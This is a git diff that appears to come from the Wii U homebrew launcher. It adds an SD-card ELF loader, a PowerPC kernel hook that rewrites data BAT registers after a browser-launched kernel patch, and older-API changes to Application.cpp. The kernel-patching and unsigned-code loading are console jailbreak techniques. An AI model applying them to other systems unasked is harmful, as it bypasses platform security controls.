#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
|
||||||
|
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
|
||||||
|
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
|
||||||
|
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
|
||||||
|
|
||||||
|
/* This is a phony reloc to handle any old fashioned TOC16 references
|
||||||
|
that may still be in object files. */
|
||||||
|
#define R_PPC_TOC16 255
|
||||||
|
|
||||||
|
#endif /* _ELF_H */
|
304
sd_loader/src/entry.c
Normal file
304
sd_loader/src/entry.c
Normal file
@ -0,0 +1,304 @@
|
|||||||
|
#include <gctypes.h>
|
||||||
|
#include "elf_abi.h"
|
||||||
|
#include "../../src/common/common.h"
|
||||||
|
#include "../../src/common/fs_defs.h"
|
||||||
|
#include "../../src/common/os_defs.h"
|
||||||
|
|
||||||
|
#define CODE_RW_BASE_OFFSET 0
|
||||||
|
#define DATA_RW_BASE_OFFSET 0
|
||||||
|
|
||||||
|
#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__);
|
||||||
|
|
||||||
|
#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func)
|
||||||
|
|
||||||
|
typedef struct _private_data_t
|
||||||
|
{
|
||||||
|
EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align);
|
||||||
|
EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr);
|
||||||
|
|
||||||
|
EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s);
|
||||||
|
EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s);
|
||||||
|
EXPORT_DECL(void, OSFatal, const char* msg);
|
||||||
|
EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length);
|
||||||
|
EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length);
|
||||||
|
EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...);
|
||||||
|
EXPORT_DECL(void, exit, void);
|
||||||
|
|
||||||
|
EXPORT_DECL(int, FSInit, void);
|
||||||
|
EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSDelClient, void *pClient);
|
||||||
|
EXPORT_DECL(void, FSInitCmdBlock, void *pCmd);
|
||||||
|
EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error);
|
||||||
|
EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling);
|
||||||
|
EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling);
|
||||||
|
|
||||||
|
EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv);
|
||||||
|
} private_data_t;
|
||||||
|
|
||||||
|
static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut)
|
||||||
|
{
|
||||||
|
int iFd = -1;
|
||||||
|
void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4);
|
||||||
|
if(!pClient)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4);
|
||||||
|
if(!pCmd)
|
||||||
|
{
|
||||||
|
private_data->MEMFreeToDefaultHeap(pClient);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int success = 0;
|
||||||
|
private_data->FSInit();
|
||||||
|
private_data->FSInitCmdBlock(pCmd);
|
||||||
|
private_data->FSAddClientEx(pClient, 0, -1);
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
char tempPath[FS_MOUNT_SOURCE_SIZE];
|
||||||
|
char mountPath[FS_MAX_MOUNTPATH_SIZE];
|
||||||
|
|
||||||
|
int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1);
|
||||||
|
if (status != 0) {
|
||||||
|
private_data->OSFatal("FSGetMountSource failed.");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);
|
||||||
|
if(status != 0) {
|
||||||
|
private_data->OSFatal("SD mount failed.");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1);
|
||||||
|
if(status != 0)
|
||||||
|
{
|
||||||
|
private_data->FSUnmount(pClient, pCmd, mountPath, -1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
FSStat stat;
|
||||||
|
stat.size = 0;
|
||||||
|
|
||||||
|
void *pBuffer = NULL;
|
||||||
|
|
||||||
|
private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1);
|
||||||
|
|
||||||
|
if(stat.size > 0)
|
||||||
|
pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40);
|
||||||
|
|
||||||
|
if(!pBuffer)
|
||||||
|
private_data->OSFatal("Not enough memory for ELF file.");
|
||||||
|
|
||||||
|
unsigned int done = 0;
|
||||||
|
|
||||||
|
while(done < stat.size)
|
||||||
|
{
|
||||||
|
int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1);
|
||||||
|
if(readBytes <= 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
done += readBytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(done != stat.size)
|
||||||
|
{
|
||||||
|
private_data->MEMFreeToDefaultHeap(pBuffer);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
*fileOut = (unsigned char*)pBuffer;
|
||||||
|
*sizeOut = stat.size;
|
||||||
|
success = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
private_data->FSCloseFile(pClient, pCmd, iFd, -1);
|
||||||
|
private_data->FSUnmount(pClient, pCmd, mountPath, -1);
|
||||||
|
}
|
||||||
|
while(0);
|
||||||
|
|
||||||
|
private_data->FSDelClient(pClient);
|
||||||
|
private_data->MEMFreeToDefaultHeap(pClient);
|
||||||
|
private_data->MEMFreeToDefaultHeap(pCmd);
|
||||||
|
return success;
|
||||||
|
}
|
||||||
|
|
||||||
|
static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart)
|
||||||
|
{
|
||||||
|
Elf32_Ehdr *ehdr;
|
||||||
|
Elf32_Phdr *phdrs;
|
||||||
|
unsigned char *image;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
ehdr = (Elf32_Ehdr *) elfstart;
|
||||||
|
|
||||||
|
if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if(ehdr->e_phentsize != sizeof(Elf32_Phdr))
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
phdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff);
|
||||||
|
|
||||||
|
for(i = 0; i < ehdr->e_phnum; i++)
|
||||||
|
{
|
||||||
|
if(phdrs[i].p_type != PT_LOAD)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if(phdrs[i].p_filesz > phdrs[i].p_memsz)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if(!phdrs[i].p_filesz)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
unsigned int p_paddr = phdrs[i].p_paddr;
|
||||||
|
|
||||||
|
// use correct offset address for executables and data access
|
||||||
|
if(phdrs[i].p_flags & PF_X)
|
||||||
|
p_paddr += CODE_RW_BASE_OFFSET;
|
||||||
|
else
|
||||||
|
p_paddr += DATA_RW_BASE_OFFSET;
|
||||||
|
|
||||||
|
image = (unsigned char *) (elfstart + phdrs[i].p_offset);
|
||||||
|
private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz);
|
||||||
|
private_data->DCFlushRange((void*)p_paddr, phdrs[i].p_filesz);
|
||||||
|
|
||||||
|
if(phdrs[i].p_flags & PF_X)
|
||||||
|
private_data->ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz);
|
||||||
|
}
|
||||||
|
|
||||||
|
//! clear BSS
|
||||||
|
Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff);
|
||||||
|
for(i = 0; i < ehdr->e_shnum; i++)
|
||||||
|
{
|
||||||
|
const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
|
||||||
|
if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's')
|
||||||
|
{
|
||||||
|
private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);
|
||||||
|
private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
|
||||||
|
}
|
||||||
|
else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's')
|
||||||
|
{
|
||||||
|
private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);
|
||||||
|
private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ehdr->e_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void loadFunctionPointers(private_data_t * private_data)
|
||||||
|
{
|
||||||
|
unsigned int coreinit_handle;
|
||||||
|
|
||||||
|
EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle);
|
||||||
|
EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address);
|
||||||
|
|
||||||
|
OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire;
|
||||||
|
OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport;
|
||||||
|
|
||||||
|
OSDynLoad_Acquire("coreinit", &coreinit_handle);
|
||||||
|
|
||||||
|
unsigned int *functionPtr = 0;
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr);
|
||||||
|
private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr;
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr);
|
||||||
|
private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr;
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", private_data->DCFlushRange);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", private_data->ICInvalidateRange);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "__os_snprintf", private_data->__os_snprintf);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit);
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile);
|
||||||
|
|
||||||
|
unsigned int sysapp_handle;
|
||||||
|
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||||
|
OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle);
|
||||||
|
}
|
||||||
|
|
||||||
|
int _start(int argc, char **argv)
|
||||||
|
{
|
||||||
|
{
|
||||||
|
private_data_t private_data;
|
||||||
|
loadFunctionPointers(&private_data);
|
||||||
|
|
||||||
|
while(1)
|
||||||
|
{
|
||||||
|
if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0)
|
||||||
|
{
|
||||||
|
//! copy data to safe area before processing it
|
||||||
|
unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4);
|
||||||
|
if(pElfBuffer)
|
||||||
|
{
|
||||||
|
private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE);
|
||||||
|
MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);
|
||||||
|
private_data.MEMFreeToDefaultHeap(pElfBuffer);
|
||||||
|
}
|
||||||
|
ELF_DATA_ADDR = 0xDEADC0DE;
|
||||||
|
ELF_DATA_SIZE = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0)
|
||||||
|
{
|
||||||
|
unsigned char *pElfBuffer = NULL;
|
||||||
|
unsigned int uiElfSize = 0;
|
||||||
|
|
||||||
|
LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf", &pElfBuffer, &uiElfSize);
|
||||||
|
|
||||||
|
if(!pElfBuffer)
|
||||||
|
{
|
||||||
|
private_data.OSFatal("Could not load file " WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);
|
||||||
|
private_data.MEMFreeToDefaultHeap(pElfBuffer);
|
||||||
|
|
||||||
|
if(MAIN_ENTRY_ADDR == 0)
|
||||||
|
{
|
||||||
|
private_data.OSFatal("Failed to load ELF " WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv);
|
||||||
|
|
||||||
|
//! exit to miimaker and restart application on re-enter of another application
|
||||||
|
if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
//! exit to homebrew launcher in all other cases
|
||||||
|
else
|
||||||
|
{
|
||||||
|
MAIN_ENTRY_ADDR = 0xDEADC0DE;
|
||||||
|
private_data.SYSRelaunchTitle(0, 0);
|
||||||
|
private_data.exit();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv);
|
||||||
|
}
|
29
sd_loader/src/kernel_hooks.S
Normal file
29
sd_loader/src/kernel_hooks.S
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
# This stuff may need a change in different kernel versions
|
||||||
|
# This is only needed when launched directly through browser and not SD card.
|
||||||
|
|
||||||
|
.section ".kernel_code"
|
||||||
|
.globl SaveAndResetDataBATs_And_SRs_hook
|
||||||
|
SaveAndResetDataBATs_And_SRs_hook:
|
||||||
|
# setup CTR to the position we need to return to
|
||||||
|
mflr r5
|
||||||
|
mtctr r5
|
||||||
|
# set link register to its original value
|
||||||
|
mtlr r7
|
||||||
|
# setup us a nice DBAT for our code data with same region as our code
|
||||||
|
mfspr r5, 560
|
||||||
|
mtspr 570, r5
|
||||||
|
mfspr r5, 561
|
||||||
|
mtspr 571, r5
|
||||||
|
# restore the original kernel instructions that we replaced
|
||||||
|
lwz r5, 0x34(r3)
|
||||||
|
lwz r6, 0x38(r3)
|
||||||
|
lwz r7, 0x3C(r3)
|
||||||
|
lwz r8, 0x40(r3)
|
||||||
|
lwz r9, 0x44(r3)
|
||||||
|
lwz r10, 0x48(r3)
|
||||||
|
lwz r11, 0x4C(r3)
|
||||||
|
lwz r3, 0x50(r3)
|
||||||
|
isync
|
||||||
|
mtsr 7, r5
|
||||||
|
# jump back to the position in kernel after our patch (from LR)
|
||||||
|
bctr
|
22
sd_loader/src/link.ld
Normal file
22
sd_loader/src/link.ld
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
OUTPUT(sd_loader.elf);
|
||||||
|
|
||||||
|
ENTRY(_start);
|
||||||
|
|
||||||
|
SECTIONS {
|
||||||
|
. = 0x00800000;
|
||||||
|
.text : {
|
||||||
|
*(.kernel_code*);
|
||||||
|
*(.text*);
|
||||||
|
/* Tell linker to not garbage collect this section as it is not referenced anywhere */
|
||||||
|
KEEP(*(.kernel_code*));
|
||||||
|
}
|
||||||
|
.data : {
|
||||||
|
*(.rodata*);
|
||||||
|
*(.data*);
|
||||||
|
}
|
||||||
|
/DISCARD/ : {
|
||||||
|
*(*);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1000, "Memory overlapping with main elf.");
|
@ -14,33 +14,26 @@
|
|||||||
* You should have received a copy of the GNU General Public License
|
* You should have received a copy of the GNU General Public License
|
||||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
****************************************************************************/
|
****************************************************************************/
|
||||||
#include <coreinit/core.h>
|
|
||||||
#include <coreinit/foreground.h>
|
|
||||||
#include <coreinit/title.h>
|
|
||||||
#include <proc_ui/procui.h>
|
|
||||||
#include <sysapp/launch.h>
|
|
||||||
#include "Application.h"
|
#include "Application.h"
|
||||||
#include "common/common.h"
|
#include "common/common.h"
|
||||||
#include <gui/FreeTypeGX.h>
|
#include "dynamic_libs/os_functions.h"
|
||||||
#include <gui/VPadController.h>
|
#include "gui/FreeTypeGX.h"
|
||||||
#include <gui/WPadController.h>
|
#include "gui/VPadController.h"
|
||||||
|
#include "gui/WPadController.h"
|
||||||
#include "resources/Resources.h"
|
#include "resources/Resources.h"
|
||||||
#include <gui/sounds/SoundHandler.hpp>
|
#include "sounds/SoundHandler.hpp"
|
||||||
#include "system/memory.h"
|
|
||||||
#include "system/AsyncDeleter.h"
|
|
||||||
#include "utils/logger.h"
|
#include "utils/logger.h"
|
||||||
|
|
||||||
Application *Application::applicationInstance = NULL;
|
Application *Application::applicationInstance = NULL;
|
||||||
bool Application::exitApplication = false;
|
bool Application::exitApplication = false;
|
||||||
bool Application::quitRequest = false;
|
|
||||||
|
|
||||||
Application::Application()
|
Application::Application()
|
||||||
: CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000)
|
: CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff, 0, 0x20000)
|
||||||
, bgMusic(NULL)
|
, bgMusic(NULL)
|
||||||
, video(NULL)
|
, video(NULL)
|
||||||
, mainWindow(NULL)
|
, mainWindow(NULL)
|
||||||
, fontSystem(NULL)
|
, exitCode(EXIT_RELAUNCH_ON_LOAD)
|
||||||
, exitCode(EXIT_RELAUNCH_ON_LOAD) {
|
{
|
||||||
controller[0] = new VPadController(GuiTrigger::CHANNEL_1);
|
controller[0] = new VPadController(GuiTrigger::CHANNEL_1);
|
||||||
controller[1] = new WPadController(GuiTrigger::CHANNEL_2);
|
controller[1] = new WPadController(GuiTrigger::CHANNEL_2);
|
||||||
controller[2] = new WPadController(GuiTrigger::CHANNEL_3);
|
controller[2] = new WPadController(GuiTrigger::CHANNEL_3);
|
||||||
@ -48,7 +41,7 @@ Application::Application()
|
|||||||
controller[4] = new WPadController(GuiTrigger::CHANNEL_5);
|
controller[4] = new WPadController(GuiTrigger::CHANNEL_5);
|
||||||
|
|
||||||
//! load resources
|
//! load resources
|
||||||
Resources::LoadFiles("fs:/vol/external01/wiiu/apps/homebrew_launcher/resources");
|
Resources::LoadFiles("sd:/wiiu/apps/homebrew_launcher/resources");
|
||||||
|
|
||||||
//! create bgMusic
|
//! create bgMusic
|
||||||
bgMusic = new GuiSound(Resources::GetFile("bgMusic.ogg"), Resources::GetFileSize("bgMusic.ogg"));
|
bgMusic = new GuiSound(Resources::GetFile("bgMusic.ogg"), Resources::GetFileSize("bgMusic.ogg"));
|
||||||
@ -57,11 +50,10 @@ Application::Application()
|
|||||||
bgMusic->SetVolume(50);
|
bgMusic->SetVolume(50);
|
||||||
|
|
||||||
exitApplication = false;
|
exitApplication = false;
|
||||||
|
|
||||||
ProcUIInit(OSSavesDone_ReadyToRelease);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
Application::~Application() {
|
Application::~Application()
|
||||||
|
{
|
||||||
log_printf("Destroy music\n");
|
log_printf("Destroy music\n");
|
||||||
|
|
||||||
delete bgMusic;
|
delete bgMusic;
|
||||||
@ -79,11 +71,10 @@ Application::~Application() {
|
|||||||
|
|
||||||
log_printf("Stop sound handler\n");
|
log_printf("Stop sound handler\n");
|
||||||
SoundHandler::DestroyInstance();
|
SoundHandler::DestroyInstance();
|
||||||
|
|
||||||
ProcUIShutdown();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int Application::exec() {
|
int Application::exec()
|
||||||
|
{
|
||||||
//! start main GX2 thread
|
//! start main GX2 thread
|
||||||
resumeThread();
|
resumeThread();
|
||||||
//! now wait for thread to finish
|
//! now wait for thread to finish
|
||||||
@ -92,18 +83,12 @@ int Application::exec() {
|
|||||||
return exitCode;
|
return exitCode;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Application::quit(int code) {
|
void Application::fadeOut()
|
||||||
exitCode = code;
|
{
|
||||||
exitApplication = true;
|
GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color){ 0, 0, 0, 255 });
|
||||||
quitRequest = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
void Application::fadeOut() {
|
for(int i = 0; i < 255; i += 10)
|
||||||
GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color) {
|
{
|
||||||
0, 0, 0, 255
|
|
||||||
});
|
|
||||||
|
|
||||||
for(int i = 0; i < 255; i += 10) {
|
|
||||||
if(i > 255)
|
if(i > 255)
|
||||||
i = 255;
|
i = 255;
|
||||||
|
|
||||||
@ -113,9 +98,9 @@ void Application::fadeOut() {
|
|||||||
video->prepareDrcRendering();
|
video->prepareDrcRendering();
|
||||||
mainWindow->drawDrc(video);
|
mainWindow->drawDrc(video);
|
||||||
|
|
||||||
GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS);
|
GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS);
|
||||||
fadeOut.draw(video);
|
fadeOut.draw(video);
|
||||||
GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL);
|
GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);
|
||||||
|
|
||||||
video->drcDrawDone();
|
video->drcDrawDone();
|
||||||
|
|
||||||
@ -124,9 +109,9 @@ void Application::fadeOut() {
|
|||||||
|
|
||||||
mainWindow->drawTv(video);
|
mainWindow->drawTv(video);
|
||||||
|
|
||||||
GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS);
|
GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS);
|
||||||
fadeOut.draw(video);
|
fadeOut.draw(video);
|
||||||
GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL);
|
GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);
|
||||||
|
|
||||||
video->tvDrawDone();
|
video->tvDrawDone();
|
||||||
|
|
||||||
@ -146,48 +131,11 @@ void Application::fadeOut() {
|
|||||||
video->drcEnable(false);
|
video->drcEnable(false);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Application::procUI(void) {
|
void Application::executeThread(void)
|
||||||
bool executeProcess = false;
|
{
|
||||||
|
|
||||||
switch(ProcUIProcessMessages(true)) {
|
|
||||||
case PROCUI_STATUS_EXITING: {
|
|
||||||
log_printf("PROCUI_STATUS_EXITING\n");
|
|
||||||
exitCode = EXIT_SUCCESS;
|
|
||||||
exitApplication = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case PROCUI_STATUS_RELEASE_FOREGROUND: {
|
|
||||||
log_printf("PROCUI_STATUS_RELEASE_FOREGROUND\n");
|
|
||||||
if(video != NULL) {
|
|
||||||
// we can turn of the screen but we don't need to and it will display the last image
|
|
||||||
video->tvEnable(true);
|
|
||||||
video->drcEnable(true);
|
|
||||||
|
|
||||||
log_printf("delete fontSystem\n");
|
|
||||||
delete fontSystem;
|
|
||||||
fontSystem = NULL;
|
|
||||||
|
|
||||||
log_printf("delete video\n");
|
|
||||||
delete video;
|
|
||||||
video = NULL;
|
|
||||||
|
|
||||||
log_printf("deinitialze memory\n");
|
|
||||||
memoryRelease();
|
|
||||||
ProcUIDrawDoneRelease();
|
|
||||||
} else {
|
|
||||||
ProcUIDrawDoneRelease();
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case PROCUI_STATUS_IN_FOREGROUND: {
|
|
||||||
if(!quitRequest) {
|
|
||||||
if(video == NULL) {
|
|
||||||
log_printf("PROCUI_STATUS_IN_FOREGROUND\n");
|
|
||||||
log_printf("initialze memory\n");
|
|
||||||
memoryInitialize();
|
|
||||||
|
|
||||||
log_printf("Initialize video\n");
|
log_printf("Initialize video\n");
|
||||||
video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_RENDER_MODE_SINGLE);
|
video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_SINGLE);
|
||||||
|
|
||||||
log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight());
|
log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight());
|
||||||
|
|
||||||
//! setup default Font
|
//! setup default Font
|
||||||
@ -195,38 +143,24 @@ bool Application::procUI(void) {
|
|||||||
FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true);
|
FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true);
|
||||||
GuiText::setPresetFont(fontSystem);
|
GuiText::setPresetFont(fontSystem);
|
||||||
|
|
||||||
if(mainWindow == NULL) {
|
|
||||||
log_printf("Initialize main window\n");
|
log_printf("Initialize main window\n");
|
||||||
|
|
||||||
mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight());
|
mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight());
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
executeProcess = true;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case PROCUI_STATUS_IN_BACKGROUND:
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return executeProcess;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
void Application::executeThread(void) {
|
|
||||||
log_printf("Entering main loop\n");
|
log_printf("Entering main loop\n");
|
||||||
|
|
||||||
//! main GX2 loop (60 Hz cycle with max priority on core 1)
|
//! main GX2 loop (60 Hz cycle with max priority on core 1)
|
||||||
while(!exitApplication) {
|
while(!exitApplication)
|
||||||
if(procUI() == false)
|
{
|
||||||
continue;
|
|
||||||
|
|
||||||
//! Read out inputs
|
//! Read out inputs
|
||||||
for(int i = 0; i < 5; i++) {
|
for(int i = 0; i < 5; i++)
|
||||||
|
{
|
||||||
if(controller[i]->update(video->getTvWidth(), video->getTvHeight()) == false)
|
if(controller[i]->update(video->getTvWidth(), video->getTvHeight()) == false)
|
||||||
continue;
|
continue;
|
||||||
|
|
||||||
|
if(controller[i]->data.buttons_d & VPAD_BUTTON_HOME)
|
||||||
|
exitApplication = true;
|
||||||
|
|
||||||
//! update controller states
|
//! update controller states
|
||||||
mainWindow->update(controller[i]);
|
mainWindow->update(controller[i]);
|
||||||
}
|
}
|
||||||
@ -258,23 +192,9 @@ void Application::executeThread(void) {
|
|||||||
